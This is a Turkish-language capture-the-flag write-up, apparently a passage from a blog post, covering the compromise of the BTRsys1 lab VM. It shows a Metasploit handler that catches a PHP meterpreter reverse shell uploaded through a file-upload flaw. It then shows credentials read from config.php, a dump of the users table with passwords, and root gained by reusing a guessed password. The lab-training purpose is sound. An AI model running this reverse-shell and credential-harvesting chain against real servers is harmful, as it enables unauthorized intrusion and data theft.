[fr0stb1rd@archlinux ~]$ ls -lh
total 545M
-rw-r--r--  1 fr0stb1rd   fr0stb1rd    35K Aug 24 05:33  shell.php
[fr0stb1rd@archlinux ~]$ 

Dosya içeriği buna benzer olacak:

Bu dosya, karşı taraftan bizim makinemize belirttiğimiz port üzerinden bağlantı isteği gönderecek. Bu nedenle, dosyayı çalıştırmadan önce yerel makinemizde bu isteği karşılayacak ortamı sağlamamız gerekiyor:

1
2
3
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp

show options komutu ile belirlememiz gereken ayarları görebilirsiniz. Yerel makinemizin (archlinux) IP’sini ve belirlediğimiz portu ayarlıyoruz:

1
2
set lhost 192.168.1.111
set lport 4444

run komutu ile portu dinlemeye başlayabiliriz.

Yüklediğimiz dosya karşı sunucuda (attacker, yani ana makinamız şu an) çalışmaya hazır.

Yükle butouna tıklayınca ana makinada dinleyen meterpreter’in konsolda meterpreter> diye sizden komut beklediğini göreceksiniz. Göremediyseniz ChatGPT ile biraz cebelleşmeniz gerekiyor.

Komutlar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
[fr0stb1rd@archlinux ~]$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple 
authentication-capturing and poisoning services
                                                  

     .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
                                `...............`              `...-/////...`


                                  .::::::::::-.                     .::::::-
                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
                                 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
                                  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
                                   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
          /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
          -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
          .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

                     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                        Press SPACE BAR to continue



       =[ metasploit v6.4.73-dev                          ]
+ -- --=[ 2533 exploits - 1302 auxiliary - 431 post       ]
+ -- --=[ 1669 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > show options

Payload options (php/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 192.168.1.111
lhost => 192.168.1.111
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.111:4444 
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.120:37152) at 2025-08-24 05:43:19 +0300

meterpreter > 

Karşı makinede web sunucusu yetkileri ile çalıştığımızı görüyoruz:

1
2
3
meterpreter > getuid
Server username: www-data
meterpreter > 

shell ile gezinelim:

1
2
3
meterpreter > shell
Process 2465 created.
Channel 0 created.
1
2
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
3
4
ls
02.jpg
index.php
shell.php
1
2
pwd
/var/www/html/uploads
1
2
3
4
5
6
7
8
9
10
cat /var/www/html/config.php
<?php
/////////////////////////////////////////////////////////////////////////////////////////
$con=mysqli_connect("localhost","root","toor","deneme");
if (mysqli_connect_errno())
  {
  echo "Mysql Bağlantı hatası!: " . mysqli_connect_error();
  }
/////////////////////////////////////////////////////////////////////////////////////////
?>

Tam yetkili shell’e geçelim:

1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
www-data@BTRsys1:/var/www/html/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🗄️ MySQL Erişimi

config.php‘yi okuduğumuzda mysql bağlantı bilgileri verilmiş, aynı zamanda veritabanı adı da belirtilmiş.

Elde ettiğimiz bilgilerle terminalden MySQL e erişelim, şifremiz dosyadan okuduğumuz üzere toor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@BTRsys1:/var/www/html/uploads$ mysql -u root -p
mysql -u root -p
Enter password: toor

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 362
Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Veritabanları gelsin:

1
2
3
4
5
6
7
8
9
10
11
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| deneme             |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)

Deneme veritabanına bakalım:

1
2
3
4
5
6
mysql> use deneme
use deneme
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Tablolar gelsin:

1
2
3
4
5
6
7
8
mysql> show tables;
show tables;
+------------------+
| Tables_in_deneme |
+------------------+
| user             |
+------------------+
1 row in set (0.00 sec)

Kullanıcı tablosuna ulaşalım:

1
2
3
4
5
6
7
8
9
mysql> select * from user;
select * from user;
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
| ID | Ad_Soyad    | Kullanici_Adi    | Parola    | BabaAdi | BabaMeslegi | AnneAdi | AnneMeslegi | KardesSayisi |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
|  1 | ismail kaya | ikaya@btrisk.com | asd123*** | ahmet   | muhasebe    | nazli   | lokantaci   |            5 |
|  2 | can demir   | cdmir@btrisk.com | asd123*** | mahmut  | memur       | gulsah  | tuhafiyeci  |            8 |
+----+-------------+------------------+-----------+---------+-------------+---------+-------------+--------------+
2 rows in set (0.00 sec)

Tüm kullanıcılar kabak gibi karşımızda.

👑 Yetki Yükseltme

Belki root parolası da asd123* yapmışlardır:

1
2
3
4
5
6
7
8
www-data@BTRsys1:/var/www/html/uploads$ su root
su root
Password: asd123***

root@BTRsys1:/var/www/html/uploads# id
id
uid=0(root) gid=0(root) groups=0(root)
root@BTRsys1:/var/www/html/uploads# 

Root yetkilerini de bu şekilde almış olduk.

📜 History

Sistemdeki kabuk geçmişi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
1  root
2  root
3  passwd
4  passwd
5  cd
6  ls
7  cat proof.txt 
8  rm proof.txt 
9  ls
10  apt-get install php5
11  apt-get upgrade
12  apt-get install upgrade
13  cd
14  sudo apt-get update
15  sudo apt-get install php5
16  sudo apt-get install mysql-server mysql-client
17  sudo apt-get install phpmyadmin
18  sudo apt-get install python-mysqldb
19  ln -s /etc/phpmyadmin/apache.conf  /etc/apache2/conf.d/phpmyadmin.conf
20  ln -s /etc/phpmyadmin/apache.conf
21  ln -s /etc/apache2/conf.f
22  ln -s /etc/apache2/conf.d
23  ln -s /etc/apache2/conf.d/phpmyadmin.conf
24  sudo service apache2 restart
25  listen
26  rpm -qa
27  dpkg -l
28  uname -a
29  sudo nano /etc/apache2/apache2.conf 
30  sudo /etc/init.d/apache2 restart
31  sudo /etc/init.d/apache2 restart
32  ifconfig 
33  ifconfig
34  ls
35  cd
36  ls
37  ifconfig
38  sudo apt-get install mysql-server
39  sudo mysql_secure_installation
40  systemctl status mysql.service
41  mysql
42  apt-get instal mysql-client-core-5.5
43  apt-get install mysql-client-core-5.5
44  mysql status
45  sudo apt-get update
46  sudo apt-get install phpmyadmin
47  sudo php5
48  sudo php5enmod mcrypt
49  sudo apt-get install mcrypt
50  sudo service apache2 restart
51  sudo apt-get install phpmyadmin
52  sudo ln -s /usr/share/phpmyadmin
53  cd /usr/share/
54  ls
55  apt-get install php5
56  sudo passwd
57  su
58  cd /etc/php5/cli/
59  ls
60  cat php.ini | grep upload
61  exit
62  nano /usr/local/lib/php.ini
63  cd /usr/
64  ls
65  cd /lost+found/
66  cd ..
67  cd /usr/local/
68  ls
69  cd /l'b
70  cd /lib
71  cd
72  cd /usr/local/lib/
73  ls
74  cd
75  cd /usr/share/
76  ls
77  cd php
78  ls
79  cd 
80  cd /usr/share/php5
81  ls
82  cd
83  cd /etc/php5
84  ls
85  cd apache2/
86  ls
87  cat php.ini 
88  ls
89  cat conf.d/
90  cd
91  cd /etc/php5
92  ls
93  cd cli/
94  ls
95  cat php.ini 
96  cat php.ini 
97  ex't
98  xevit
99  exit
100  root
101  id
102  sudo gedit /etc/hostname 
103  nano /etc/hostname 
104  nano /etc/host
105  nano /etc/hosts
106  reboot
107  sudo passwd
108  ex't
109  exit
110  nano /etc
111  clear
112  nano /etc/network/interfaces
113  clear
114  exitt
115  ifconfig
116  roottoor
117  exit
118  exit
119  passwd
120  exit
121  cd
122  clear
123  which http.conf
124  locate http.conf
125  cd /etc/apache2/
126  ls
127  nano apache2.conf 
128  locate httpd.conf
129  nano /etc/phpmyadmin/lighttpd.conf 
130  clear
131  locate .httaccess
132  cd 
133  locate httpd.conf
134  which apache2
135  /usr/sbin/apache2 -V | grep acces
136  /usr/sbin/apache2 -v
137  /usr/sbin/apache2 -D
138  /usr/sbin/apache2 -d 
139  /usr/sbin/apache2 -d httpd.conf
140  /usr/sbin/apache2 -d apache2.conf
141  cd /etc/apache2/
142  ls
143  nano apache2.conf 
144  clear
145  cd
146  locate php.ini
147  nano /etc/php5/apache2/php.ini 
148  vim /etc/php5/apache2/php.ini 
149  reboot 
150  cd tmp
151  cd 
152  ls
153  cd
154  cd //
155  ls
156  cd
157  cd
158  nano /etc/hostname 
159  nano /etc/hostname 
160  cd
161  ls
162  reboot 
163  su btrisk
164  cd /etc
165  ls
166  cat passwd
167  cat shadow
168  su overflow
169  su root
170  sudo btrisk
171  su root
172  ls
173  rm sql\ injection\ payload.txt 
174  ls
175  cd
176  su
177  sudo
178  sudo su
179  cd etc
180  cd /etc
181  ls
182  cd 
183  cd /var/www/html
184  ls
185  cd uploads
186  ls
187  ls
188  rm*
189  ls
190  rm btrisk.png
191  rm php-reverse-shell.php 
192  rm shell.php 
193  rm sql injection payload.php 
194  ls
195  rm sql\ injection\ payload.php 
196  ls
197  ifconfig
198  su
  • apache ve php5 kurulmuş, gerekli modüller etkinleştirilmiş
  • phpmyadmin kurulumu yapılmış ve apache’e entegre edilmiş
  • mysql server ve client kurulmuş, güvenlik ayarları yapılmış
  • python ile mysql bağlantısı için kütüphaneler eklenmiş
  • /var/www/html/uploads dizininde dosya yönetimi ve test shell’leri ile çalışılmış
  • php-reverse-shell.php ve sql injection payload gibi dosyalar yüklenip silinmiş
  • ifconfig, uname -a, dpkg -l gibi komutlarla sistem ve ağ bilgileri incelenmiş
  • servislerin durumu ve versiyonları kontrol edilmiş
  • sql injection ve reverse shell testleri uygulanmış
  • dosya yükleme ve silme işlemleri yapılmış

Bu CTF’i yapan arkadaşlar history’i silmeyi unutmuş sanırım.

Çözmesi basit, keyifli bir CTF’ti. Bizden birinin yapması da ayrı gurur verici.

📝 Notlar

  • nmap ve nikto ile hedef sistemin açık servislerini, yazılım sürümlerini ve potansiyel zafiyetlerini tespit ettik.
  • dirb ile doğrudan bağlantısı olmayan dosya ve dizinleri (/config.php, /login.php, /uploads/) keşfettik.
  • javascript tabanlı kontrolleri atlayarak login.php ve dosya yükleme sayfalarındaki zafiyetleri test ettik; sunucu tarafı kontrollerin eksik olduğunu gördük.
  • uygulama hata mesajları ve kullanılan teknoloji (mysqli) sayesinde sql injection gibi zafiyetler hakkında bilgi edindik.
  • hatalı filtrelenen kullanıcı girdilerini kullanarak veritabanına yetkisiz erişim sağladık ve hassas bilgilere ulaştık.
  • dosya yükleme zafiyetini kullanarak sunucuya php reverse shell yükledik.
  • reverse shell üzerinden sistemdeki dosyalara erişip veritabanı kimlik bilgilerini elde ederek, zayıf şifre tahminleriyle root yetkilerini aldık.
  • yeni yazıda ya da projede görüşmek dileğiyle, esenlikler…
This post is licensed under CC BY 4.0 by the author.